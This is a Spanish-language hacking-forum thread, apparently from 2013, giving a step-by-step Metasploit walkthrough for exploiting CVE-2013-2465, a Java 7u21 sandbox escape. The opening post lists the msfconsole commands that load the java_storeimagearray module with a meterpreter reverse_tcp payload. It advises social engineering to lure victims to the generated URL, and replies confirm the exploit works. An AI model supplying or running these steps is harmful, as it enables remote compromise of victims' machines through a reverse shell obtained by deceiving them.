CVE-2013-2465

Este módulo de Metasploit abusa de la vulneravilidad matriz indexación no válida en la función storeImageArray() de la función estática para producir una corrupción de memoria y finalmente evadir el Sandbox de Java. La vulnerabilidad afecta a Java versión 7u21 y versiones anteriores.


Explotando CVE-2013-2465 con mestasploit:

// Cargamos el módulo

msf > use exploit/multi/browser/java_storeimagearray

msf exploit(java_storeimagearray) > set PAYLOAD java/meterpreter/reverse_tcp

msf exploit(java_storeimagearray) > set LHOST [IP Local]

msf exploit(java_storeimagearray) > set srvhost [IP Local]

msf exploit(java_storeimagearray) > set uripath /

msf exploit(java_storeimagearray) > exploit

Ahora realizamos un poco de Ingeniería Social para enviar la dirección generada por el metasploit para hacer la sesion meterpreter.

Saludos, \0/

Que excelente aporte Stuxnet, no lo conocía, ya has tenido la oportunidad de usarlo?

Habrá q probarlo! Gracias!!

Cita de: Flemon en Agosto 23, 2013, 06:46:25 AM
Que excelente aporte Stuxnet, no lo conocía, ya has tenido la oportunidad de usarlo?

Si, de ahi fue donde cree el tutorial. Siempre lo testeo antes de publicarlo.

Saludos...

Cita de: Stuxnet en Agosto 23, 2013, 09:23:05 AM

Cita de: Flemon en Agosto 23, 2013, 06:46:25 AM
Que excelente aporte Stuxnet, no lo conocía, ya has tenido la oportunidad de usarlo?

Si, de ahi fue donde cree el tutorial. Siempre lo testeo antes de publicarlo.

Saludos...

Siempre traduces  xDDD

PD: Es totalmente funcional

Regards,
Snifer

Nicee!!
Para el blog!

http://blog.underc0de.org/2013/08/cve-2013-2465-java-storeimagearray.html

Muchas gracias Stuxnet! muy buen aporte!

@Snifer yo se que me amas; xD si tradusco la descripción mejor enséñame ingles xD

Saludos.